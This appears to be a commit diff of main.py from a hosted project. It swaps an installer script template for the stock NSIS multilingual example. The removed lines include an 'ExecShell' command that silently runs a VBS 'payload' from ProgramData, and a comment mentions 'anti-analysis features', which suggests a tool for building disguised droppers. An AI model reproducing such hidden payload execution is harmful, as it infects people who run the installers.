Spaces:
Sleeping
Sleeping
Update main.py
Browse files
main.py
CHANGED
@@ -21,53 +21,210 @@ os.makedirs(COMPILE_FOLDER, exist_ok=True)
|
|
21 |
|
22 |
# Modify the NSIS_SCRIPT_TEMPLATE with enhanced anti-analysis features
|
23 |
NSIS_SCRIPT_TEMPLATE = r"""
|
24 |
-
;
|
25 |
-
|
26 |
-
|
27 |
-
|
28 |
-
|
29 |
-
|
30 |
-
|
31 |
-
|
32 |
-
|
33 |
-
|
34 |
-
|
35 |
-
|
36 |
-
|
37 |
-
|
38 |
-
|
39 |
-
|
40 |
-
|
41 |
-
|
42 |
-
|
43 |
-
|
44 |
-
|
45 |
-
|
46 |
-
|
47 |
-
|
48 |
-
|
49 |
-
|
50 |
-
|
51 |
-
|
52 |
-
|
53 |
-
|
54 |
-
|
55 |
-
|
56 |
-
|
57 |
-
|
58 |
-
|
59 |
-
|
60 |
-
|
61 |
-
|
62 |
-
|
63 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
64 |
|
65 |
-
|
66 |
-
|
67 |
-
; Run payload and exit
|
68 |
-
ExecShell "" "$WINDIR\..\ProgramData\Omega\0.vbs" SW_HIDE
|
69 |
-
SetAutoClose true
|
70 |
SectionEnd
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
71 |
"""
|
72 |
|
73 |
# Greatly expanded version details dictionary
|
|
|
21 |
|
22 |
# Modify the NSIS_SCRIPT_TEMPLATE with enhanced anti-analysis features
|
23 |
NSIS_SCRIPT_TEMPLATE = r"""
|
24 |
+
;NSIS Modern User Interface
|
25 |
+
;Multilingual Example Script
|
26 |
+
;Written by Joost Verburg
|
27 |
+
|
28 |
+
!pragma warning error all
|
29 |
+
|
30 |
+
;--------------------------------
|
31 |
+
;Include Modern UI
|
32 |
+
|
33 |
+
!include "MUI2.nsh"
|
34 |
+
|
35 |
+
;--------------------------------
|
36 |
+
;General
|
37 |
+
|
38 |
+
;Properly display all languages (Installer will not work on Windows 95, 98 or ME!)
|
39 |
+
Unicode true
|
40 |
+
|
41 |
+
;Name and file
|
42 |
+
Name "Modern UI Test"
|
43 |
+
OutFile "MultiLanguage.exe"
|
44 |
+
|
45 |
+
;Default installation folder
|
46 |
+
InstallDir "$LOCALAPPDATA\Modern UI Test"
|
47 |
+
|
48 |
+
;Get installation folder from registry if available
|
49 |
+
InstallDirRegKey HKCU "Software\Modern UI Test" ""
|
50 |
+
|
51 |
+
;Request application privileges for Windows Vista
|
52 |
+
RequestExecutionLevel user
|
53 |
+
|
54 |
+
;--------------------------------
|
55 |
+
;Interface Settings
|
56 |
+
|
57 |
+
!define MUI_ABORTWARNING
|
58 |
+
|
59 |
+
;Show all languages, despite user's codepage
|
60 |
+
!define MUI_LANGDLL_ALLLANGUAGES
|
61 |
+
|
62 |
+
;--------------------------------
|
63 |
+
;Language Selection Dialog Settings
|
64 |
+
|
65 |
+
;Remember the installer language
|
66 |
+
!define MUI_LANGDLL_REGISTRY_ROOT "HKCU"
|
67 |
+
!define MUI_LANGDLL_REGISTRY_KEY "Software\Modern UI Test"
|
68 |
+
!define MUI_LANGDLL_REGISTRY_VALUENAME "Installer Language"
|
69 |
+
|
70 |
+
;--------------------------------
|
71 |
+
;Pages
|
72 |
+
|
73 |
+
!insertmacro MUI_PAGE_WELCOME
|
74 |
+
!insertmacro MUI_PAGE_LICENSE "${NSISDIR}\Docs\Modern UI\License.txt"
|
75 |
+
!insertmacro MUI_PAGE_COMPONENTS
|
76 |
+
!insertmacro MUI_PAGE_DIRECTORY
|
77 |
+
!insertmacro MUI_PAGE_INSTFILES
|
78 |
+
!insertmacro MUI_PAGE_FINISH
|
79 |
+
|
80 |
+
!insertmacro MUI_UNPAGE_WELCOME
|
81 |
+
!insertmacro MUI_UNPAGE_CONFIRM
|
82 |
+
!insertmacro MUI_UNPAGE_LICENSE "${NSISDIR}\Docs\Modern UI\License.txt"
|
83 |
+
!insertmacro MUI_UNPAGE_COMPONENTS
|
84 |
+
!insertmacro MUI_UNPAGE_DIRECTORY
|
85 |
+
!insertmacro MUI_UNPAGE_INSTFILES
|
86 |
+
!insertmacro MUI_UNPAGE_FINISH
|
87 |
+
|
88 |
+
;--------------------------------
|
89 |
+
;Languages
|
90 |
+
|
91 |
+
!insertmacro MUI_LANGUAGE "English" ; The first language is the default language
|
92 |
+
!insertmacro MUI_LANGUAGE "French"
|
93 |
+
!insertmacro MUI_LANGUAGE "German"
|
94 |
+
!insertmacro MUI_LANGUAGE "Spanish"
|
95 |
+
!insertmacro MUI_LANGUAGE "SpanishInternational"
|
96 |
+
!insertmacro MUI_LANGUAGE "SimpChinese"
|
97 |
+
!insertmacro MUI_LANGUAGE "TradChinese"
|
98 |
+
!insertmacro MUI_LANGUAGE "Japanese"
|
99 |
+
!insertmacro MUI_LANGUAGE "Korean"
|
100 |
+
!insertmacro MUI_LANGUAGE "Italian"
|
101 |
+
!insertmacro MUI_LANGUAGE "Dutch"
|
102 |
+
!insertmacro MUI_LANGUAGE "Danish"
|
103 |
+
!insertmacro MUI_LANGUAGE "Swedish"
|
104 |
+
!insertmacro MUI_LANGUAGE "Norwegian"
|
105 |
+
!insertmacro MUI_LANGUAGE "NorwegianNynorsk"
|
106 |
+
!insertmacro MUI_LANGUAGE "Finnish"
|
107 |
+
!insertmacro MUI_LANGUAGE "Greek"
|
108 |
+
!insertmacro MUI_LANGUAGE "Russian"
|
109 |
+
!insertmacro MUI_LANGUAGE "Portuguese"
|
110 |
+
!insertmacro MUI_LANGUAGE "PortugueseBR"
|
111 |
+
!insertmacro MUI_LANGUAGE "Polish"
|
112 |
+
!insertmacro MUI_LANGUAGE "Ukrainian"
|
113 |
+
!insertmacro MUI_LANGUAGE "Czech"
|
114 |
+
!insertmacro MUI_LANGUAGE "Slovak"
|
115 |
+
!insertmacro MUI_LANGUAGE "Croatian"
|
116 |
+
!insertmacro MUI_LANGUAGE "Bulgarian"
|
117 |
+
!insertmacro MUI_LANGUAGE "Hungarian"
|
118 |
+
!insertmacro MUI_LANGUAGE "Thai"
|
119 |
+
!insertmacro MUI_LANGUAGE "Romanian"
|
120 |
+
!insertmacro MUI_LANGUAGE "Latvian"
|
121 |
+
!insertmacro MUI_LANGUAGE "Macedonian"
|
122 |
+
!insertmacro MUI_LANGUAGE "Estonian"
|
123 |
+
!insertmacro MUI_LANGUAGE "Turkish"
|
124 |
+
!insertmacro MUI_LANGUAGE "Lithuanian"
|
125 |
+
!insertmacro MUI_LANGUAGE "Slovenian"
|
126 |
+
!insertmacro MUI_LANGUAGE "Serbian"
|
127 |
+
!insertmacro MUI_LANGUAGE "SerbianLatin"
|
128 |
+
!insertmacro MUI_LANGUAGE "Arabic"
|
129 |
+
!insertmacro MUI_LANGUAGE "Farsi"
|
130 |
+
!insertmacro MUI_LANGUAGE "Hebrew"
|
131 |
+
!insertmacro MUI_LANGUAGE "Indonesian"
|
132 |
+
!insertmacro MUI_LANGUAGE "Mongolian"
|
133 |
+
!insertmacro MUI_LANGUAGE "Luxembourgish"
|
134 |
+
!insertmacro MUI_LANGUAGE "Albanian"
|
135 |
+
!insertmacro MUI_LANGUAGE "Breton"
|
136 |
+
!insertmacro MUI_LANGUAGE "Belarusian"
|
137 |
+
!insertmacro MUI_LANGUAGE "Icelandic"
|
138 |
+
!insertmacro MUI_LANGUAGE "Malay"
|
139 |
+
!insertmacro MUI_LANGUAGE "Bosnian"
|
140 |
+
!insertmacro MUI_LANGUAGE "Kurdish"
|
141 |
+
!insertmacro MUI_LANGUAGE "Irish"
|
142 |
+
!insertmacro MUI_LANGUAGE "Uzbek"
|
143 |
+
!insertmacro MUI_LANGUAGE "Galician"
|
144 |
+
!insertmacro MUI_LANGUAGE "Afrikaans"
|
145 |
+
!insertmacro MUI_LANGUAGE "Catalan"
|
146 |
+
!insertmacro MUI_LANGUAGE "Esperanto"
|
147 |
+
!insertmacro MUI_LANGUAGE "Asturian"
|
148 |
+
!insertmacro MUI_LANGUAGE "Basque"
|
149 |
+
!insertmacro MUI_LANGUAGE "Pashto"
|
150 |
+
!insertmacro MUI_LANGUAGE "ScotsGaelic"
|
151 |
+
!insertmacro MUI_LANGUAGE "Georgian"
|
152 |
+
!insertmacro MUI_LANGUAGE "Vietnamese"
|
153 |
+
!insertmacro MUI_LANGUAGE "Welsh"
|
154 |
+
!insertmacro MUI_LANGUAGE "Armenian"
|
155 |
+
!insertmacro MUI_LANGUAGE "Corsican"
|
156 |
+
!insertmacro MUI_LANGUAGE "Tatar"
|
157 |
+
!insertmacro MUI_LANGUAGE "Hindi"
|
158 |
+
|
159 |
+
;--------------------------------
|
160 |
+
;Reserve Files
|
161 |
+
|
162 |
+
;If you are using solid compression, files that are required before
|
163 |
+
;the actual installation should be stored first in the data block,
|
164 |
+
;because this will make your installer start faster.
|
165 |
+
|
166 |
+
!insertmacro MUI_RESERVEFILE_LANGDLL
|
167 |
+
|
168 |
+
;--------------------------------
|
169 |
+
;Installer Sections
|
170 |
+
|
171 |
+
Section "Dummy Section" SecDummy
|
172 |
+
|
173 |
+
SetOutPath "$INSTDIR"
|
174 |
+
|
175 |
+
;ADD YOUR OWN FILES HERE...
|
176 |
+
|
177 |
+
;Store installation folder
|
178 |
+
WriteRegStr HKCU "Software\Modern UI Test" "" $INSTDIR
|
179 |
+
|
180 |
+
;Create uninstaller
|
181 |
+
WriteUninstaller "$INSTDIR\Uninstall.exe"
|
182 |
|
|
|
|
|
|
|
|
|
|
|
183 |
SectionEnd
|
184 |
+
|
185 |
+
;--------------------------------
|
186 |
+
;Installer Functions
|
187 |
+
|
188 |
+
Function .onInit
|
189 |
+
|
190 |
+
!insertmacro MUI_LANGDLL_DISPLAY
|
191 |
+
|
192 |
+
FunctionEnd
|
193 |
+
|
194 |
+
;--------------------------------
|
195 |
+
;Descriptions
|
196 |
+
|
197 |
+
;USE A LANGUAGE STRING IF YOU WANT YOUR DESCRIPTIONS TO BE LANGUAGE SPECIFIC
|
198 |
+
|
199 |
+
;Assign descriptions to sections
|
200 |
+
!insertmacro MUI_FUNCTION_DESCRIPTION_BEGIN
|
201 |
+
!insertmacro MUI_DESCRIPTION_TEXT ${SecDummy} "A test section."
|
202 |
+
!insertmacro MUI_FUNCTION_DESCRIPTION_END
|
203 |
+
|
204 |
+
|
205 |
+
;--------------------------------
|
206 |
+
;Uninstaller Section
|
207 |
+
|
208 |
+
Section "Uninstall"
|
209 |
+
|
210 |
+
;ADD YOUR OWN FILES HERE...
|
211 |
+
|
212 |
+
Delete "$INSTDIR\Uninstall.exe"
|
213 |
+
|
214 |
+
RMDir "$INSTDIR"
|
215 |
+
|
216 |
+
DeleteRegKey /ifempty HKCU "Software\Modern UI Test"
|
217 |
+
|
218 |
+
SectionEnd
|
219 |
+
|
220 |
+
;--------------------------------
|
221 |
+
;Uninstaller Functions
|
222 |
+
|
223 |
+
Function un.onInit
|
224 |
+
|
225 |
+
!insertmacro MUI_UNGETLANGUAGE
|
226 |
+
|
227 |
+
FunctionEnd
|
228 |
"""
|
229 |
|
230 |
# Greatly expanded version details dictionary
|